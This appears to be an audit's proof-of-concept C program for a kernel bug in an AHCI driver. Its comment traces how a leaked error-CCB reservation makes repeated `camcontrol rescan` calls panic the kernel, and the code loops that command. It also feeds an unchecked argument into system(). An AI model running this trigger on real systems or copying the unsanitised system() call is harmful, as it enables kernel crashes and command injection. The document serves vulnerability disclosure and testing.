/*
 * DF-4502 trigger (post-condition half). Self-contained: shells out to
 * camcontrol(8), which drives the same CAM code path.
 *
 * Bug: ahci_pm_softreset() leaks the error-CCB reservation when the SECOND
 * SRST FIS poll fails on the FINAL retry (count exhausted): it jumps to
 * err: without calling ahci_put_err_ccb(). AP_F_ERR_CCB_RESERVED stays set
 * forever and ap->ap_active/ap_sactive/ap_active_cnt stay zeroed (their
 * saved values are only restored by ahci_put_err_ccb).
 *
 * The *priming* half (two consecutive second-FIS softreset failures on a
 * target behind a port multiplier) is device-driven and cannot be forced
 * from userland; it happens in the field with flaky PM-attached devices
 * (the code even anticipates it: "Soft-reset(2) through PM failed").
 * This program is the *detonation* half: once the reservation is leaked,
 * any port-level reset or probe re-enters ahci_get_err_ccb() and hits
 *
 *     KKASSERT((ap->ap_flags & AP_F_ERR_CCB_RESERVED) == 0);   ahci.c:3352
 *
 * which panics an INVARIANTS kernel (X86_64_GENERIC has INVARIANTS,
 * sys/config/X86_64_GENERIC:56).
 *
 * Re-entry path driven by `camcontrol rescan <bus>`:
 *   - ahci_xpt_action() XPT_PATH_INQ with CAM_TARGET_WILDCARD
 *       -> ahci_port_state_machine()              ahci_cam.c:920-923
 *       -> ahci_port_reset(ap, NULL, 1)           ahci.c:818-819
 *       -> ahci_port_hardreset
 *       -> ahci_pm_port_probe()                   ahci.c:1710
 *       -> ahci_get_err_ccb()                     ahci_pm.c:188 -> ahci.c:3352  <-- panic
 *
 * Usage: ./trigger_DF4502 [bus]     (default 2; run as root, CAM is
 * root-only). Loops `camcontrol rescan <bus>` 64 times.
 *
 * Expected on a vulnerable kernel WITH a leaked reservation:
 *     panic: assertion "(ap->ap_flags & AP_F_ERR_CCB_RESERVED) == 0" failed
 * On this audit guest there is no AHCI controller at all (PIIX3 IDE +
 * virtio only, see env.txt), so this trigger is compile/run-verified only
 * (it runs, the CAM bus just has no ahci ports behind it).
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	char cmd[64];
	int i, rc = 0;
	const char *bus = (argc > 1) ? argv[1] : "2";

	for (i = 0; i < 64; i++) {
		snprintf(cmd, sizeof(cmd), "/sbin/camcontrol rescan %s", bus);
		rc = system(cmd);
		if (rc != 0) {
			fprintf(stderr, "camcontrol round %d rc=%d\n", i, rc);
			break;
		}
		usleep(50000);
	}
	printf("done: %d camcontrol rescan rounds on bus %s (rc=%d)\n",
	       i, bus, rc);
	return (rc == 0 ? 0 : 1);
}
